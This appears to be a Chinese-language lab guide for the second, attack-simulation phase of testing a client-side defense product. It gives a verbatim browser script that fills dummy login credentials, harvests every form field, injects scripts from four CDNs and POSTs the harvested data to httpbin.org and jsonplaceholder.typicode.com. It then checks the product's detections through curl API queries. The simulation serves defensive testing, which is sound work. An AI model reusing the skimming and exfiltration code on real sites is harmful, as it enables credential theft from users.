第二阶段 — 攻击
第二阶段针对受保护的应用程序生成模拟攻击流量,并确认 CSD 已检测到该流量。在继续之前,第一阶段必须已完成——第 7 步的所有检查均须通过(PASS)。
第 8 步:攻击模拟
Section titled “第 8 步:攻击模拟”基础设施验证完成后(第一阶段第 7 步所有检查均通过),运行攻击模拟脚本以生成 CSD 检测记录。相关脚本定义于触发检测指南和攻击脚本库中。
AI 自动化执行
Section titled “AI 自动化执行”具备浏览器自动化工具的 AI 助手可通过编程方式运行攻击模拟:
- 使用 initScript 导航 — 首先导航至
about:blank以确保干净的文档上下文(避免前次导航遗留的过时 initScript),然后使用navigate_page导航至http://$F5XC_DOMAINNAME/#/login,并在initScript中于 zone.js 修补之前保存原生的setInterval、clearInterval、fetch和console.log,轮询登录表单字段,通过原生HTMLInputElement.prototype.valuesetter 填写凭据,并立即内联执行组合检测脚本。请使用下方逐字记录的 initScript。 - 关闭欢迎横幅 — 按
Escape键通过press_key关闭欢迎横幅。后续访问时横幅可能不再出现(Cookie 已持久化)。Cookie 同意对话框也会通过 Escape 键自动关闭。 - 等待完成 — 等待 10 秒,以便所有 CDN 脚本加载/错误回调及 fetch Promise 解析完成。
- 采集证据 — 使用
list_console_messages检查是否存在[CSD Demo] Simulation complete及 CDN 加载结果;使用list_network_requests筛选script和fetch类型,验证 HTTP 状态码(成功为200/201,挂起请求为pending)。
第二阶段 initScript(逐字记录——请原文使用):
// Save native references before zone.js patches themvar _si = window.setInterval.bind(window);var _ci = window.clearInterval.bind(window);var _fetch = window.fetch.bind(window);var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection scriptvar _poll = _si(function() { var emailEl = document.querySelector('#email'); var passEl = document.querySelector('#password'); if (emailEl && passEl) { _ci(_poll); // Fill credentials via native setter (bypasses zone.js) var nativeSet = Object.getOwnPropertyDescriptor( window.HTMLInputElement.prototype, 'value').set; nativeSet.call(emailEl, 'test@example.com'); emailEl.dispatchEvent(new Event('input', { bubbles: true })); nativeSet.call(passEl, 'P@ssword123'); passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil (function() { _log('=================================================='); _log('[CSD Demo] Combined Detection Script — Starting'); _log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting'); var inputs = document.querySelectorAll('input'); var harvested = {}; inputs.forEach(function(input) { var name = input.name || input.id || input.type; harvested[name] = input.value || '(empty)'; }); _log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection'); var cdns = [ { url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' }, { url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' }, { url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' }, { url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' } ]; cdns.forEach(function(cdn) { var script = document.createElement('script'); script.src = cdn.url; script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); }; script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); }; document.head.appendChild(script); _log('[Supply Chain] Injected script tag: ' + cdn.name); });
_log('\n[Exfil] Phase 3: Data exfiltration'); var payload = JSON.stringify({ type: 'combined_demo', credentials: harvested, page: window.location.href, timestamp: Date.now() }); _fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload }) .then(function() { _log('[Exfil] Data sent to www.httpbin.org'); }); _fetch('https://jsonplaceholder.typicode.com/posts', { method: 'POST', mode: 'no-cors', headers: { 'Content-Type': 'application/json' }, body: payload }).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n=================================================='); _log('[CSD Demo] Simulation complete'); _log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length); _log('[CSD Demo] Scripts injected: 4 (4 CDN domains)'); _log('[CSD Demo] Exfil channels: 2 (fetch POST)'); _log('=================================================='); })(); }}, 300);没有浏览器自动化工具的操作人员请手动执行以下步骤:
- 导航至受保护应用程序的登录页面:
http://xF5XC_DOMAINNAMEx/#/login - 输入虚拟凭据 — 在 Email 字段中输入
test@example.com,在 Password 字段中输入P@ssword123(请勿提交表单) - 打开开发者工具 — 按 F12 并切换到 Console(控制台)标签页
- 运行组合检测脚本 — 将触发检测 — 运行组合模拟脚本中的脚本粘贴到控制台并按 Enter 键
- 验证控制台输出 — 确认
[CSD Demo]分阶段输出显示:字段采集、从 4 个 CDN 域注入脚本,以及向 2 个端点进行数据渗出
触发内容说明
Section titled “触发内容说明”| 信号 | 行为 | 检测 |
|---|---|---|
| 表单字段采集 | 读取电子邮件和密码输入值 | 读取敏感表单字段的脚本——标记为高风险 |
| 脚本注入 | 从 cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io 注入 4 个 <script> 标签 | 最多检测到 4 个新第三方脚本域(CDN 可用性可能有所不同) |
| 数据渗出 | 通过 fetch 将采集的数据发送至 www.httpbin.org 和 jsonplaceholder.typicode.com | 对外部域的网络调用 |
AI 助手应报告以下内容。对于 AI 自动化执行,证据通过 list_console_messages 以编程方式采集(initScript 的轮询函数将结果记录到控制台)。对于手动执行,操作人员读取浏览器控制台输出。
| 检查项 | 预期结果 | 状态 |
|---|---|---|
| 登录页面已加载 | http://$F5XC_DOMAINNAME/#/login 返回 200 OK | 通过 / 失败 |
| 控制台脚本已执行 | 控制台输出中包含 [CSD Demo] Simulation complete | 通过 / 失败 |
| 字段已采集 | 控制台输出中字段数量 > 0 | 通过 |
| 脚本已注入 | 控制台输出中有 1–4 个 CDN 域(部分可能因资源错误失败) | 出现任意 CDN 域即通过 |
| 渗出通道 | 控制台输出中有 2 次 fetch POST 尝试 | 通过 |
第 9 步:通过 API 验证检测结果
Section titled “第 9 步:通过 API 验证检测结果”查询 CSD API 端点以确认检测结果已出现。使用轮询循环:每 60 秒查询一次 /detected_domains;一旦 DET-3 通过即可继续。如果 DET-3 在 10 分钟后仍未通过,请检查 CSD 配置。如果 DET-3 在 30 分钟后仍未通过,请停止并向操作人员报告。这些端点的文档见API 参考,使用与前述步骤相同的认证方式和命名空间。
查询过去 24 小时内检测到的脚本:
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s -X POST \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ -H "Content-Type: application/json" \ -d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \ | jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'| 字段 | 预期结果 | 状态 |
|---|---|---|
total | > 0(检测到脚本) | > 0 时通过;若为 0 但 /detected_domains 显示渗出域则为待定 |
| 脚本名称 | script_name 中包含 CDN 域(cdn.jsdelivr.net、esm.sh、unpkg.com、ga.jspm.io) | 出现已注入的 CDN 域即通过 |
curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \ | jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'| 字段 | 预期结果 | 状态 |
|---|---|---|
total_domains | > 0 | > 0 时通过 |
| 域列表 | 包含 CDN 和渗出域 | 出现预期域即通过 |
NOW=$(date +%s)START=$(( NOW - 86400 ))curl -s \ -H "Authorization: APIToken xF5XC_API_TOKENx" \ "xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \ | jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'| 字段 | 预期结果 | 状态 |
|---|---|---|
total | > 0 | > 0 时通过;若 DET-3 通过则为待定 |
name | 包含 email、password | 出现敏感字段即通过 |
sensitivity | 电子邮件/密码字段为 Sensitive | ML 分类正确即通过 |
第二阶段证据汇总
Section titled “第二阶段证据汇总”完成所有检测查询后,呈现最终检测状态:
| 测试 ID | 检查项 | 状态 |
|---|---|---|
| DET-1 | 已检测到脚本(/scripts 端点) | > 0 时通过;若为空但 DET-3 通过则为待定 |
| DET-2 | 已检测到 CDN 域 | 通过 / 失败 |
| DET-3 | 已检测到渗出域(/detected_domains) | 主要指标 — www.httpbin.org 或 jsonplaceholder.typicode.com 出现即通过 |
| DET-4 | 已检测到表单字段(/formFields 端点) | > 0 时通过;若为空但 DET-3 通过则为待定 |
第二阶段完成。 请继续进入第三阶段 — 缓解,以应用缓解规则并验证域是否被阻断。